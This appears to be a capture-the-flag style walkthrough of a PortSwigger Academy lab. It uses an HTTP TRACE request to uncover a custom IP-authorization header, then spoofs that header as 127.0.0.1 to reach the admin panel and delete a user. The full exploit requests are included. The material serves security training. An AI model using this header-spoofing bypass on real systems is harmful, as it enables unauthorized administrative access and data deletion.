Web Security

PortSwigger Academy - Authentication Bypass via Information Disclosure

This lab's administration interface has an authentication bypass vulnerability, but it is impractical to exploit without knowledge of a custom HTTP header used by the front-end.

L0WK3Y
· 6 min read
Send by email
infophreak 2025

Lab Overview


This lab's administration interface has an authentication bypass vulnerability, but it is impractical to exploit without knowledge of a custom HTTP header used by the front-end.

Instructions

To solve the lab:

  1. Obtain the header name and use it to bypass the lab's authentication.
  2. Access the admin interface.
  3. Delete the user carlos.

You can log in to your own account using the following credentials:

wiener:peter


Initial Exploration

We start by logging in with the provided credentials:

  • Username: wiener
  • Password: peter

Once logged in, we notice that the lab hints at a custom HTTP header being involved. This is quite intriguing and sets the stage for further investigation. To uncover more, we turn to Burp Suite’s Repeater tool.


Leveraging the TRACE Method

Using the TRACE HTTP method, we can debug the server's response and inspect the headers it processes. The TRACE method is designed for diagnostic purposes, but when left enabled in production environments, it can leak sensitive information.

We craft a TRACE request to the /admin endpoint and observe the following response:

HTTP/2 200 OK
Content-Type: message/http
X-Frame-Options: SAMEORIGIN
Content-Length: 864

TRACE /admin HTTP/1.1
Host: 0afa00d1034b3ac28c8527e00072003e.web-security-academy.net
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
accept-language: en-US,en;q=0.9
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-fetch-site: same-origin
sec-fetch-mode: navigate
sec-fetch-dest: document
referer: https://0afa00d1034b3ac28c8527e00072003e.web-security-academy.net/login
accept-encoding: gzip, deflate, br
priority: u=0, i
cookie: session=iN2HcoeKV2p3ZTx2tAwRcQltndk8C0nT
Content-Length: 0
X-Custom-IP-Authorization: YOUR.PUBLIC.IP.ADDRESS

Here, the server discloses the X-Custom-IP-Authorization header. This header appears to be used for authorizing specific IP addresses to access the admin page. With this crucial piece of information, we devise our attack.

img


Understanding the Vulnerability

The X-Custom-IP-Authorization header is used to restrict access to the admin page, presumably allowing only requests originating from the server’s internal network (e.g., 127.0.0.1). However, the server blindly trusts the value of this header without verifying its authenticity. This creates a critical vulnerability, as attackers can spoof the header to masquerade as a trusted IP address.

Additionally, the TRACE method exposes this header, providing attackers with the necessary insight to exploit the flaw. This combination of poor access control implementation and information disclosure makes the application highly vulnerable.


Exploiting the Vulnerability

To exploit this vulnerability, we craft a GET request to the /admin page and include the X-Custom-IP-Authorization header with the value 127.0.0.1, impersonating the server’s internal IP. The request looks like this:

GET /admin HTTP/2
Host: 0afa00d1034b3ac28c8527e00072003e.web-security-academy.net
Cookie: session=iN2HcoeKV2p3ZTx2tAwRcQltndk8C0nT
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://0afa00d1034b3ac28c8527e00072003e.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
X-Custom-Ip-Authorization: 127.0.0.1

When we send this request, the server responds with a 200 OK status and grants us access to the admin page. Success!

img2


Performing the Final Exploit

With access to the admin page, we proceed to delete the user carlos, as required to complete the lab. We can send this session to the Burp browser by clicking Request in browser and selecting one of the two following options:

img3

or we can intercept the requests and step through them in the Proxy tab. Either way, we will need to add the custom X-Custom-IP-Authorization header to the request in order to successfully delete the user. Below is what the final request should look like to delete the user carlos and complete the lab.

GET /admin/delete?username=carlos HTTP/2
Host: 0afa00d1034b3ac28c8527e00072003e.web-security-academy.net
Cookie: session=iN2HcoeKV2p3ZTx2tAwRcQltndk8C0nT
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0afa00d1034b3ac28c8527e00072003e.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
X-Custom-Ip-Authorization: 127.0.0.1

This request successfully deletes the user carlos, and the lab is marked as solved.


Why It's Vulnerable

1. Trusting User-Supplied Headers

The server relies on the X-Custom-IP-Authorization header to restrict access to the /admin page. However, since HTTP headers can be easily spoofed, relying on them for authentication or access control is inherently insecure.

2. Information Disclosure via TRACE

The TRACE method provides attackers with detailed insights into the server’s request processing, including the custom X-Custom-IP-Authorization header. This information disclosure makes it easy for attackers to identify and exploit the vulnerability.

3. Lack of Proper Access Controls

The admin page is protected solely based on the IP address specified in the X-Custom-IP-Authorization header. There is no additional authentication or validation, making it trivial for attackers to bypass the restriction.


The Impact

This vulnerability has severe consequences, including:

  • Unauthorized Access: Attackers can gain full access to restricted admin pages, exposing sensitive functionality.
  • Privilege Escalation: A low-privileged user can elevate their access to that of an administrator by exploiting this flaw.
  • Data Manipulation: Attackers can delete users, modify configurations, or steal sensitive data, causing significant disruption.

Also Check Out